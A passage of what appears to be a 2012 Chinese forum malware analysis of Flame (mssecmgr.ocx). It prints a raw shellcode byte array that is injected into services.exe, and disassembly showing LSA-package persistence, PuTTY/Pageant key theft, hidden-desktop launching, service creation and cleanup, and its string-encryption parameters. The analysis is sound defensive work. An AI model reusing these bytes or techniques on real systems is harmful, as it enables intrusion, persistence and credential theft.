F,0x84,0x8A,0x00,0x00,0x00,0x8B,0x87,0xA0,0x00,0x00,0x00,0x03,0x45,0xF4,0x3B,0x45,0xF4,0x75,0x0C,0xC7,0x45,0xF0,0x0A,0x00,0xFF,0xFF,0xE9,0x09,0x04,0x00,0x00,0x8B,0x8F,0xA4,0x00,0x00,0x00,0x03,0xC8,0x3B,0xC1,0x89,0x4D,0xB4,0x73,0x61,0x8B,0x50,0x04,0x8B,0x08,0x03,0x4D,0xF4,0x83,0xEA,0x08,0xF7,0xC2,0xFE,0xFF,0xFF,0xFF,0x89,0x5D,0x08,0x76,0x43,0x8B,0x55,0x08,0x0F,0xB7,0x54,0x50,0x08,0x81,0xE2,0xFF,0x0F,0x00,0x00,0x89,0x55,0xD8,0x8B,0x55,0x08,0x0F,0xB7,0x54,0x50,0x08,0x0F,0xB7,0xD2,0xC1,0xEA,0x0C,0x74,0x10,0x83,0xFA,0x03,0x75,0x3F,0x0F,0xB7,0x55,0xD8,0x8B,0x5D,0xB8,0x03,0xD1,0x01,0x1A,0x8B,0x50,0x04,0xFF,0x45,0x08,0x83,0xEA,0x08,0xD1,0xEA,0x33,0xDB,0x39,0x55,0x08,0x72,0xBD,0x03,0x40,0x04,0x3B,0x45,0xB4,0x72,0x9F,0x8B,0x87,0x80,0x00,0x00,0x00,0x03,0x45,0xF4,0x3B,0x45,0xF4,0x75,0x18,0xC7,0x45,0xF0,0x0C,0x00,0xFF,0xFF,0xE9,0x7F,0x03,0x00,0x00,0xC7,0x45,0xF0,0x0B,0x00,0xFF,0xFF,0xE9,0x73,0x03,0x00,0x00,0x39,0x58,0x0C,0x0F,0x84,0x80,0x00,0x00,0x00,0x83,0xC0,0x10,0x89,0x45,0x08,0x8B,0x45,0x08,0x83,0x38,0x00,0x74,0x70,0x83,0x78,0xF4,0x00,0x0F,0x85,0xB9,0x00,0x00,0x00,0x8B,0x58,0xFC,0x03,0x5D,0xF4,0x53,0xFF,0x56,0x18,0x85,0xC0,0x0F,0x84,0xB0,0x00,0x00,0x00,0x53,0xFF,0x56,0x10,0x85,0xC0,0x89,0x45,0xD8,0x0F,0x84,0xAA,0x00,0x00,0x00,0x8B,0x45,0x08,0x8B,0x18,0x03,0x5D,0xF4,0xEB,0x29,0x8B,0x03,0x85,0xC0,0x79,0x07,0x25,0xFF,0xFF,0x00,0x00,0xEB,0x08,0x8B,0x4D,0xF4,0x03,0xC1,0x83,0xC0,0x02,0x50,0xFF,0x75,0xD8,0xFF,0x56,0x1C,0x85,0xC0,0x89,0x03,0x0F,0x84,0x83,0x00,0x00,0x00,0x83,0xC3,0x04,0x83,0x3B,0x00,0x75,0xD2,0x83,0x45,0x08,0x14,0x8B,0x45,0x08,0x83,0x78,0xFC,0x00,0x75,0x88,0x33,0xDB,0x66,0x39,0x5F,0x06,0x89,0x5D,0x08,0x0F,0x86,0xBA,0x00,0x00,0x00,0x0F,0xB7,0x45,0x08,0x8B,0x4D,0xCC,0x6B,0xC0,0x28,0x03,0xC1,0x8B,0x48,0x24,0xF7,0xC1,0x20,0x00,0x00,0x20,0x74,0x07,0xC7,0x45,0xC8,0x01,0x00,0x00,0x00,0x33,0xD2,0x42,0x85,0xC9,0x79,0x03,0x89,0x55,0xD0,0xF7,0xC1,0x00,0x00,0x00,0x40,0x74,0x03,0x89,0x55,0xD4,0x39,0x5D,0xC8,0x8B,0xCA,0x74,0x42,0x39,0x5D,0xD0,0x74,0x2E,0x6A,0x40,0x59,0xEB,0x49,0xC7,0x45,0xF0,0x0D,0x00,0xFF,0xFF,0xEB,0x19,0xC7,0x45,0xF0,0x0E,0x00,0xFF,0xFF,0xEB,0x10,0xC7,0x45,0xF0,0x0F,0x00,0xFF,0xFF,0xEB,0x07,0xC7,0x45,0xF0,0x10,0x00,0xFF,0xFF,0x33,0xDB,0xE9,0x70,0x02,0x00,0x00,0x8B,0x4D,0xD4,0xF7,0xD9,0x1B,0xC9,0x83,0xE1,0x10,0x83,0xC1,0x10,0xEB,0x11,0x39,0x5D,0xD4,0x74,0x0C,0x33,0xC9,0x39,0x5D,0xD0,0x0F,0x95,0xC1,0x8D,0x4C,0x09,0x02,0x8B,0x50,0x08,0x8B,0x40,0x0C,0x03,0x45,0xF4,0x89,0x55,0xB4,0x8D,0x55,0xC4,0x52,0x51,0xFF,0x75,0xB4,0x50,0xFF,0x56,0x0C,0x85,0xC0,0x74,0x28,0xFF,0x45,0x08,0x66,0x8B,0x45,0x08,0x66,0x3B,0x47,0x06,0x0F,0x82,0x46,0xFF,0xFF,0xFF,0x8B,0x7F,0x28,0x03,0x7D,0xF4,0x89,0x7D,0xE0,0x75,0x18,0xC7,0x45,0xF0,0x12,0x00,0xFF,0xFF,0xE9,0x0C,0x02,0x00,0x00,0xC7,0x45,0xF0,0x11,0x00,0xFF,0xFF,0xE9,0x00,0x02,0x00,0x00,0xFF,0xB6,0x1C,0x09,0x00,0x00,0x33,0xFF,0x47,0x57,0xFF,0x75,0xF4,0xFF,0x55,0xE0,0x3B,0xC7,0x74,0x14,0x53,0x53,0xFF,0x75,0xF4,0xFF,0x55,0xE0,0xC7,0x45,0xF0,0x13,0x00,0xFF,0xFF,0xE9,0xD8,0x01,0x00,0x00,0x8D,0x86,0x6A,0x02,0x00,0x00,0x50,0x53,0x8D,0x45,0xA8,0x50,0x89,0x7D,0xBC,0xFF,0x56,0x44,0x3B,0xC3,0x89,0x45,0xE8,0x75,0x0C,0xC7,0x45,0xF0,0x14,0x00,0xFF,0xFF,0xE9,0xB3,0x01,0x00,0x00,0x6A,0xFF,0x50,0xFF,0x56,0x48,0x85,0xC0,0x74,0x0C,0xC7,0x45,0xF0,0x15,0x00,0xFF,0xFF,0xE9,0x9D,0x01,0x00,0x00,0x8D,0x46,0x60,0x50,0x53,0x68,0x1F,0x00,0x0F,0x00,0xC6,0x45,0xFB,0x01,0xFF,0x56,0x2C,0x3B,0xC3,0x89,0x45,0xE4,0xC6,0x45,0x0B,0x00,0xBF,0x08,0x55,0x00,0x00,0x75,0x28,0x8D,0x46,0x60,0x50,0x57,0x53,0x6A,0x04,0x8D,0x45,0xA8,0x50,0x6A,0xFF,0xC6,0x45,0x0B,0x01,0xFF,0x56,0x28,0x3B,0xC3,0x89,0x45,0xE4,0x75,0x0C,0xC7,0x45,0xF0,0x16,0x00,0xFF,0xFF,0xE9,0x54,0x01,0x00,0x00,0x57,0x53,0x53,0x6A,0x02,0xFF,0x75,0xE4,0xFF,0x56,0x30,0x3B,0xC3,0x89,0x45,0xEC,0x75,0x0C,0xC7,0x45,0xF0,0x17,0x00,0xFF,0xFF,0xE9,0x36,0x01,0x00,0x00,0x80,0x7D,0x0B,0x00,0x0F,0x84,0x01,0x01,0x00,0x00,0x57,0x53,0xFF,0x75,0xEC,0xFF,0x56,0x24,0x83,0xC4,0x0C,0x89,0x5D,0xD0,0x8D,0xBE,0xFA,0x04,0x00,0x00,0x57,0xFF,0x56,0x14,0x3B,0xC3,0x89,0x45,0xB4,0x74,0x3B,0xFF,0x45,0xD0,0x83,0x7D,0xD0,0x05,0x7C,0xEC,0x53,0x6A,0x18,0x8D,0x45,0x90,0x50,0x53,0x6A,0xFF,0xFF,0x56,0x3C,0x3D,0x00,0x00,0x00,0xC0,0x72,0x2A,0x53,0x6A,0x18,0x8D,0x45,0x90,0x50,0x53,0x6A,0xFF,0xFF,0x56,0x3C,0x83,0xF8,0xFF,0x77,0x18,0xC7,0x45,0xF0,0x19,0x00,0xFF,0xFF,0xE9,0xD2,0x00,0x00,0x00,0xC7,0x45,0xF0,0x18,0x00,0xFF,0xFF,0xE9,0xC6,0x00,0x00,0x00,0x8B,0x45,0x94,0x8B,0x40,0x0C,0x83,0xC0,0x0C,0x8B,0x38,0xEB,0x0A,0x8B,0x4F,0x18,0x3B,0x4D,0xB4,0x74,0x08,0x8B,0x3F,0x3B,0xF8,0x75,0xF2,0xEB,0x68,0x8B,0x47,0x1C,0x8B,0x4D,0xEC,0x89,0x41,0x04,0x8B,0x86,0x18,0x09,0x00,0x00,0x6A,0x40,0x68,0x00,0x10,0x00,0x00,0x83,0xC0,0x14,0x50,0x53,0xFF,0x56,0x04,0x3B,0xC3,0x75,0x09,0xC7,0x45,0xF0,0x1A,0x00,0xFF,0xFF,0xEB,0x7E,0x8B,0x4E,0x20,0x89,0x48,0x10,0x8B,0x4E,0x38,0x89,0x48,0x0C,0x8B,0x4E,0x48,0x89,0x48,0x08,0x8B,0x4D,0xEC,0xC7,0x00,0xBA,0xBA,0x0D,0xF0,0x89,0x48,0x04,0xFF,0xB6,0x18,0x09,0x00,0x00,0x83,0xC0,0x14,0xFF,0xB6,0x14,0x09,0x00,0x00,0x89,0x45,0xB4,0x50,0xFF,0x56,0x20,0x8B,0x45,0xB4,0x83,0xC4,0x0C,0x89,0x47,0x1C,0x8B,0x45,0xEC,0x39,0x58,0x04,0x75,0x09,0xC7,0x45,0xF0,0x1B,0x00,0xFF,0xFF,0xEB,0x30,0x8B,0x4D,0xE8,0x89,0x08,0x8B,0x4D,0xEC,0x33,0xC0,0x33,0xD2,0x83,0xC1,0x08,0x3B,0xC3,0x75,0x26,0x39,0x19,0x75,0x02,0x8B,0xC1,0x42,0x81,0xC1,0x20,0x02,0x00,0x00,0x83,0xFA,0x28,0x72,0xEA,0x3B,0xC3,0x75,0x10,0xC7,0x45,0xF0,0x1C,0x00,0xFF,0xFF,0x8B,0x7D,0xF4,0xC6,0x45,0xFA,0x01,0xEB,0x5F,0x8B,0x4D,0xE0,0x8B,0x7D,0xF4,0x89,0x48,0x04,0x89,0x38,0xC7,0x40,0x08,0x01,0x00,0x00,0x00,0x8B,0x8E,0x1C,0x09,0x00,0x00,0x89,0x48,0x0C,0x8A,0x8E,0x20,0x09,0x00,0x00,0x88,0x48,0x10,0x8B,0x8E,0x10,0x09,0x00,0x00,0x89,0x88,0x1C,0x02,0x00,0x00,0x68,0x0A,0x02,0x00,0x00,0x8D,0x8E,0x04,0x07,0x00,0x00,0x51,0x83,0xC0,0x12,0x50,0xFF,0x56,0x20,0x83,0xC4,0x0C,0x80,0x7D,0x0B,0x00,0x74,0x13,0xFF,0x75,0xE8,0x89,0x5D,0xEC,0x89,0x5D,0xE4,0xFF,0x56,0x38,0xC6,0x45,0xFB,0x00,0x89,0x5D,0xE8,0x39,0x5D,0xEC,0x74,0x06,0xFF,0x75,0xEC,0xFF,0x56,0x34,0x39,0x5D,0xE4,0x74,0x06,0xFF,0x75,0xE4,0xFF,0x56,0x4C,0x80,0x7D,0xFB,0x00,0x74,0x06,0xFF,0x75,0xE8,0xFF,0x56,0x38,0x39,0x5D,0xE8,0x74,0x06,0xFF,0x75,0xE8,0xFF,0x56,0x4C,0xFF,0x75,0xC0,0xFF,0x56,0x54,0x39,0x5D,0xDC,0x74,0x06,0xFF,0x75,0xDC,0xFF,0x56,0x5C,0x80,0x7D,0xFA,0x00,0xB8,0x1E,0x00,0xFF,0xFF,0x74,0x2C,0x39,0x5D,0xBC,0x74,0x0B,0x39,0x5D,0xE0,0x74,0x06,0x53,0x53,0x57,0xFF,0x55,0xE0,0x80,0xBE,0x20,0x09,0x00,0x00,0x00,0x74,0x06,0x57,0xFF,0x56,0x34,0xEB,0x0A,0x68,0x00,0x80,0x00,0x00,0x53,0x57,0xFF,0x56,0x08,0x8B,0x45,0xF0,0x89,0xBE,0x2C,0x0B,0x00,0x00,0xEB,0x05,0xB8,0x05,0x00,0xFF,0xFF,0x5F,0x5E,0x5B,0xC9,0xC2,0x04,0x00,0x68
    第三次接着上面的shell code地址顺序写入:
    写入数据为,长度为4
     0x00,0x00,0x00,0x00
    第四次接着上面的shell code地址顺序写入:
     Shell code如下文件,长度为:0x5e2330
    最后恶意代码通过函数CreateRemoteThread函数来创建远程线程,执行刚才写入到services.exe进程中的shell code
   发现对注册表进行操:
    HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\SeCEdit
  n 疑似组策略键值
     HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation
  n StandardSize,修改标准时间
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{75048700-EF1F-11D0-9888-006097DEACF9}\Count\HRZR_EHACNGU: (ahyy)

 楼主| 发表于 2012-8-1 14:32:12 | 显示全部楼层
本帖最后由 wobaxindiule 于 2012-8-2 13:20 编辑

键值:类型: REG_BINARY 长度:16 (0x10) 字节 s

    05 00 00 00 06 00 00 00 20 3E 44 29 E3 54CD 01  | ........ >D)?

HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11

键值:类型: REG_BINARY 长度:56 (0x38) 字节 s

    000000: 36 00 31 00 00 00 00 00 C8 40 0A 0F10 00 66 6C  |  6.1.........fl

    000010: 61 6D 65 00 22 00 03 00 04 00 EF BEDC 40 EF 1C  |  ame.".....锞蹳?

    000020: DC 40 18 1D 14 00 00 00 66 00 6C 0061 00 6D 00  |  ......f.l.a.m.

    000030: 65 00 00 00 14 00 00 00                          |  e.......

HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\

HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0

键值:类型: REG_BINARY 长度:78 (0x4e) 字节 s

    000000: 4C 00 31 00 00 00 00 00 C7 40 EA 3910 00 6D 73  |  L.1.....?..ms

    000010: 73 65 63 6D 67 72 2E 6F 63 78 00 0030 00 03 00  |  secmgr.ocx..0...

    000020: 04 00 EF BE DC 40 F5 1C DC 40 09 1D14 00 00 00  |  ..锞蹳?......

    000030: 6D 00 73 00 73 00 65 00 63 00 6D 0067 00 72 00  |  m.s.s.e.c.m.g.r.

    000040: 2E 00 6F 00 63 00 78 00 00 00 1C 0000 00        |  ..o.c.x.......

HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0\

HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0\0

键值:类型:REG_BINARY 长度:54 (0x36) 字节 s

    000000: 34 00 35 00 00 00 00 00 DC 40 CB 1B10 00 D8 53  |  4.5.....?..

    000010: CD 79 31 00 00 00 1E 00 03 00 04 00EF BE DC 40  |  1.........锞蹳

    000020: F6 1C DC 40 08 1D 14 00 00 00 D8 53CD 79 31 00  |  ?......豐蛓1.

    000030: 00 00 16 00 00 00                                |  ......

HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0\0\

HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0\0\MRUListEx

键值:类型: REG_BINARY 长度:4 (0x4) 字节 s

    FF FF FF FF                                      |

HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0\0\NodeSlot

键值: DWORD: 96 (0x60)

HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0\MRUListEx

键值:类型: REG_BINARY 长度: 8 (0x8) 字节 s

    00 00 00 00 FF FF FF FF                          |  ....

HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\0\NodeSlot

键值: DWORD: 95 (0x5f)

HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\MRUListEx

键值:类型: REG_BINARY 长度: 8 (0x8) 字节 s

    00 00 00 00 FF FF FF FF                          |  ....

HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\BagMRU\11\NodeSlot

键值: DWORD: 94 (0x5e)

HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags\94\

HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags\94\Shell\

HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags\94\Shell\Address

键值: DWORD: 4294967295 (0xffffffff)

HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags\94\Shell\Buttons

键值: DWORD: 4294967295 (0xffffffff)

HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags\94\Shell\Col

键值: DWORD: 4294967295 (0xffffffff)

HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\Bags\94\Shell\ColInfo

键值:类型: REG_BINARY 长度: 112 (0x70) 字节 s

    000000: 00 00 00 00 00 00 00 00 00 00 00 0000 00 00 00  |  ................

    000010: FD DF DF FD 0F 00 04 00 20 00 10 0028 00 3C 00  |  僤孕/font].... ...(.<.

    000020: 00 00 00 00 01 00 00 00 02 00 00 0003 00 00 00  |  ................

    000030: B4 00 60 00 78 00 78 00 00 00 00 0001 00 00 00  |  ?`.x.x.........

       ...更多...

开机启动:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\AuthenticationPackages

新:类型: REG_MULTI_SZ 长度: 21 (0x15) 字节 s

    6D 73 76 31 5F 30 00 6D 73 73 65 63 6D 6772 2E  | msv1_0.mssecmgr.

    6F 63 78 00 00                                   |  ocx..

旧:类型: REG_MULTI_SZ 长度: 8 (0x8) 字节 s

    6D 73 76 31 5F 30 00 00                          |  msv1_0..

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction\LcnEndLocation

新;字符串: "10675834"

;字符串: "0"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction\LcnStartLocation

新:字符串: "10485101"

旧:字符串: "0"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction\OptimizeComplete

新:字符串: "Yes"

旧:字符串: "No"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction\OptimizeError

新:字符串: " "

旧:字符串: "Missing Registry Entries"

HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SeCEdit

HKLM\Software\Microsoft\InternetExplorer\LowRegistry

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Option

HKLM\SYSTEM\CurrentControlSet\Control\TimeZoneInformation

HKLM\SOFTWARE\Symantec\NortonAntiVirus

HKLM\SOFTWARE\Symantec\InstalledApps

HKLM\SOFTWARE\KasperskyLab\avp6\settings

HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon

HKLM\Software\Microsoft\Windows\CurrentVersion\InternetSettings

HKLM\SOFTWARE\KasperskyLab

HKLM\SOFTWARE\Symantec\SymSetup\Internetsecurity

HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\SpecialAccounts\Userlist

HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\ProfileList

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

HKLM\SOFTWARE\Symantec\SymantecAntiVirus

HKLM\SYSTEM\CurrentControlSet\Control\Lsa

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

HKIU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced

HKLM\Software\Microsoft\Windows\CurrentVersion\MMDevices\Audio\Capture\%s\properties

发现flame遍历系统中所有顶层窗口,查找类名与窗口名都为”Pageant”的窗口并向其发送消息。经确认PageantPutty程序的认证代理工具,可以添加用户私钥,之后第一次登陆服务器时输入密码Pageant会将密码保存,以后则不需要输入密码。

SendMessageA(Msg=0x4a,wParam=0x00,lParam=0x804e50ba)

发现flame恶意代码创建一个桌面,然后创建进程iexplorer.exe并将其默认桌面设置为新创建的桌面,可能为达到隐藏启动的目的。
mov   [ebp+StartupInfo.cb],   44h
mov   eax, lpszDesktop
mov   [ebp+StartupInfo.lpDesktop],  eax;   set desktop
mov   [ebp+CommandLine],   bl
mov   esi,   104h
push  esi
push  ebx
lea   eax,  [ebp+VersionInformation]
push  eax   ;pVersionInformation
call  0x101A1130
add   esp,   0Ch
push  esi    ;nSize
lea   eax,  [ebp+CommandLine]
push  eax   ;"%ProgramFiles%\Internet
Explorer\iexplore.exe"
push   environment_strings
call   ExpandEnvironmentStringsA
cmpe  ax,ebx
jz    0x100E3157
cmp   eax,esi
ja    0x100E3157
lea   eax,  [ebp+ProcessInformation]
push  eax   ;lpProcessInformation
lea   eax,  [ebp+StartupInfo]
push  eax   ;lpStartupInfo
push  ebx   ;lpCurrentDirectory
push  ebx   ;lpEnvironment
push  4      ;dwCreationFlags
push  ebx   ;bInheritHandles
push  ebx   ;lpThreadAttributes
push  ebx   ;lpProcessAttributes
lea   eax,  [ebp+CommandLine]
push  eax   ;lpCommandLine
push  ebx   ;lpApplicationName
call  ds:CreateProcessA

 楼主| 发表于 2012-8-1 14:40:05 | 显示全部楼层
本帖最后由 wobaxindiule 于 2012-8-2 13:18 编辑

分析中发现大量SQL语句,这些语句是操作SQLite数据库中的相关数据。
SELECT'INSERT INTO vacuum_db.'|| quote(name)||' SELECT *FROM
main.'
|| quote(name)||';'FROM main.sqlite_master
WHEREtype='table'AND name!='sqlite_sequence'AND rootpage>0

UPDATE
%s SET Grade =(SELECT%d/%d.0*(rowid-1)FROM st WHERE st.ProdID
=%s.ProdID);
ELECT 'DELETE FROM vacuum_db.'|| quote(name)||';'FROM
vacuum_db
.sqlite_master WHERE name='sqlite_sequence'
INSERTORREPLACEINTO Configuration (Name,
App
,Value)VALUES('%s','%s','%s');

INSERTORIGNOREINTO%s
(Name,App,Value)Values('STORAGE_LENGTH','%s',0);

UPDATE
sqlite_master SETsql=
sqlite_rename_parent(sql,%Q,%Q)WHERE%s;
INSERTINTO%Q.%s VALUES('index',%Q,%Q,#%d,%Q);

UPDATE
%s SETValue=Value-old.BufferSize WHERE Name ='STORAGE_SIZE'AND App ='%s';

UPDATE%s SETValue=Value+1WHERE Name ='STORAGE_LENGTH'AND App ='%s';
SELECT'INSERT INTO vacuum_db.'|| quote(name)||' SELECT *FROM main.'|| quote(name)||';'FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';

UPDATE%s SETValue=Value-1WHERE Name ='STORAGE_LENGTH'AND App ='%s';

UPDATE
%s SETValue=Value+new.BufferSize WHERE Name ='STORAGE_SIZE'AND App ='%s'; UPDATE sqlite_temp_master SETsql= sqlite_rename_trigger(sql,%Q), tbl_name =%Q WHERE%s;

UPDATE
%Q.%s SETsql=CASEWHENtype='trigger'THEN sqlite_rename_trigger(sql,%Q)ELSEsqlite_rename_table(sql,%Q)END, tbl_name =%Q, name =CASEWHENtype='table'THEN%Q WHEN name LIKE'sqlite_autoindex%%'ANDtype='index'THEN'sqlite_autoindex_'||%Q ||substr(name,%d+18)ELSE name ENDWHERE tbl_name=%Q AND(type='table'ORtype='index'ORtype='trigger');

INSERTORIGNOREINTO
%s
(Name,App,Value)Values('STORAGE_SIZE','%s',0);

5.WQL
   WQL的全称是WMIQuery Language,简称为WQL, Windows管理规范查询语言。
   root\ CIMV2
   select * fromWin32_LogicalDiskSELECT * FROM__InstanceOperationEvent WITHIN %d WHERE TargetInstance ISA 'Win32_LogicalDisk'
   select ProcessID, Name fromWin32_Process
6.
6.创建以下命名管道
    \\.\pipe\navssvcs  
    \\.\pipe\PipeGx16
  
     \\.\\pipe\spoolss
   分析过程中发现一些函数存在类似加花的指令,这些指令并不影响程序的任何功能,如下红色部分代码。
push     ebp
mov     ebp,      esp
push    ebx
push     esi
push    edi
mov     eax,       eax
push    ebx
push    eax
pop      eax
pop      ebx
pusha
popa
mov     esi,          [ebp+8]
Flame在单独的线程修改权限,打开并创建服务,加载运行rdcvlt32.exe程序。
push       edi                                ;lpPassword
push       edi                               ;lpServiceStartName
push       edi                                ;lpDependencies
push       edi                                ;lpdwTagId
push       edi                                ;lpLoadOrderGroup
push      PathName                ;lpBinaryPathName = ;
"%windir%\system32\rdcvlt32.exe"
push       edi                                ;dwErrorControl
push       3                             ;dwStartType
push      10h                          ;dwServiceType
push      0F01FFh                    ;dwDesiredAccess
push     DisplayName               ;lpDisplayName
push     ServiceName              ;lpServiceName
push      eax;                          hSCManager
call       CreateServiceA
cmp       eax,   edi
并且在创建完服务后直接将其启动,并删除服务,清理掉注册表相关痕迹。
mov       eax,             [ebx+4]
mov       byte    ptr   [eax+6],1
call       start_service
mov       [ebp-1],      al
mov       eax,edi
call       delete_service
cmp       al,         1
jnz         0x1011BCD9

 楼主| 发表于 2012-8-1 15:51:28 | 显示全部楼层
本帖最后由 wobaxindiule 于 2012-8-2 13:54 编辑


7.各个模块字符串的加密部分析

  各个模块的加密部分存在很大的相通相同处。采用的算法主要是通过如下方式:

8.jpg

图3-5加密算法


各个文件采取的算法参数和算式如下:


   File name      Param a      Param b      Param c      M   
  Mssecmgr.ocx    0xBh    0xBh+0xCh    [0x10376F70h]    M=(0xBh+n)*(0xBh+0xCh+n)+[0x101376F70h]  
  msglu32.ocx    0xBh    0xBh+0xCh    [0x101863ECh]    M=(0xBh+n)*(0xBh+0xCh+n)+[0x101863ECh]  
  advnetcfg.ocx    0x1Ah    0x5h    0    M==(0xAh+n)*(0x5h+n)  
  Nteps32.ocx    0x1Ah    0x5h    0    M==(0xAh+n)*(0x5h+n)  
  soapr32.ocx    0x11h    0xBh    0    M==(0x11h+n)*(0xbh+n)  
  Noname.dll    0x11h    0xBh    0    M==(0x11h+n)*(0xbh+n)  
  Jimmy.dll    0xBh    0xBh+0x6h    0x58h    M=(0xbh+N)*(N+0xbh+0x6h)+0x58h  
  comspol32.ocx    0xBh    0xBh+0x6h    0    M=(0xbh+N)*(N+0xbh+0x6h)  
  browse32.ocx    0xBh    0xBh+0xch    0    M=(0xbh+N)*(N+0xbh+0xch)  

发现flame读取PUTTY创建key的临时文件内容,可能为破解通讯密钥?
     %Documentsand Settings%\Administrator\PUTTY.RND

lea              eax, putty_file_path[eax]

push           eax            ; lpBuffer

push           offset str_HOMEPATH      ; decode:"HOMEPATH"

call           my_decode_strA      ; decode: "HOMEPATH"

pop             ecx

push           eax            ; lpName

call             edi         ; GetEnvironmentVariableA

test           eax,   eax

jnz             short    0x10073E35

push           esi                     ; uSize

push           ebx                   ; lpBuffer

call             ds:GetWindowsDirectoryA

push           ebx                   ; c1

call             0x101A1370

pop             ecx

mov            esi,       eax

jmp            short     0x10073E3B

add            [ebp+var_4],     eax

mov           esi,       [ebp+var_4]

push           offset    str_PUTTY_RND      ; data

call          my_decode_strA     ; decode   : "\PUTTY.RND"

push          eax

lea             eax,     putty_file_path[esi]

push          eax

call             0x101A1270        ;  catpath


push           ebx                       ; hTemplateFile

push           ebx                       ; dwFlagsAndAttributes

push           3                      ; dwCreationDisposition

push          ebx                        ; lpSecurityAttributes

push           3                      ; dwShareMode

push          80000000h          ; dwDesiredAccess

push          offset putty_file_path          ; lpFileName

call            ds:CreateFileA

cmp           eax,      0FFFFFFFFh

mov          [ebp+hObject],   eax

jz               short       0x10073EE6

push          esi

mov           esi,    ds:ReadFile        ;read putty.rnd file
     Flame 中发现lua模块的静态编译版本

9.jpg




图3-6在内存中发现的一些LUA模块名



下面为LUA源文件:
constchar*const  luaP_opnames[NUM_OPCODES+1]={

"MOVE"
"LOADK",


"LOADBOOL",
       "LOADNIL",
       "GETUPVAL",
       "GETGLOBAL",
       "GETTABLE",
       "SETGLOBAL",
       "SETUPVAL",
       "SETTABLE",
       "NEWTABLE",
       "SELF",
       "ADD",
       "SUB",
       "MUL",
       "DIV",
       "MOD",
       "POW",
       "UNM",
       "NOT",
       "LEN",
       "CONCAT",
       "JMP",
       "EQ",
       "LT",
       "LE",
       "TEST",
       "TESTSET",
       "CALL",
       "TAILCALL",
       "RETURN",
       "FORLOOP",
       "FORPREP",
       "TFORLOOP",
       "SETLIST",
       "CLOSE",
       "CLOSURE",
       "VARARG",
       NULL
       };

发现内容完全一致,在分析过程中又发现大量lua代码因此得出恶意代码是静态的将lua代码编译进程序中的。

发现flame内部包含的lua代码的版本为Lua 5.1
       mov          eax,edi
       call         mssecmgr.100B8F0F
       push       mssecmgr.1026195C        ;  ASCII"_G"
        mov        eax,edi
        call         mssecmgr.100B9417
        pop         ecx
        mov       eax,mssecmgr.10261778
        mov       ebx,mssecmgr.10261960  ; ASCII "_G"
        mov       ecx,esi
        call       mssecmgr.100B9DB3
        push       0x7
        push       mssecmgr.10261964     ;  ASCII "Lua5.1"
        mov       eax,esi
        call       mssecmgr.100B9142
        push     mssecmgr.1026196C     ;  ASCII"_VERSION"
        mov       eax,edi
        call       mssecmgr.100B9417
        add        esp,0xC
        push     mssecmgr.100CF1E6
        push     mssecmgr.100CF23B
        push     mssecmgr.10261978     ;  ASCII "ipairs"
        mov       eax,esi
        call       mssecmgr.100CFAE7
        add       esp,0xC
        push    mssecmgr.100CF171
        push     mssecmgr.100CF1B0
        push      mssecmgr.10261980     ;  ASCII"pairs"
        mov      eax,esi
        call       mssecmgr.100CFAE7
        add       esp,0xC
        push     mssecmgr.100CF171
        push    mssecmgr.100CF1B0
        push    mssecmgr.10261980     ;  ASCII"pairs"
        mov     eax,esi
        call       mssecmgr.100CFAE7
        add      esp,0xC
        push    0x1     
        push    0x0
        mov     eax,esi
        call     mssecmgr.100B932F
        or         eax,-0x1
        call      mssecmgr.100B8F0F
        push    -0x2
        pop      eax
        call     mssecmgr.100B953A
        push    0x2
        push     mssecmgr.10261988     ;  ASCII "kv"

图3-7Flame代码


static   void    base_open (lua_State *L){
/*    set   global     _G */
  lua_pushvalue(L,      LUA_GLOBALSINDEX);
  lua_setglobal(L,     "_G");
/* open  lib  into  global   table */
   luaL_register(L,     "_G", base_funcs);
   lua_pushliteral(L,       LUA_VERSION);     //LUA_VERSION  :   "Lua 5.1"
   lua_setglobal(L,      "_VERSION");       /* set global _VERSION */
/* `ipairs'   and `  pairs'     need     auxliliary       functions     as      upvalues */
   auxopen(L,   "ipairs", luaB_ipairs, ipairsaux);
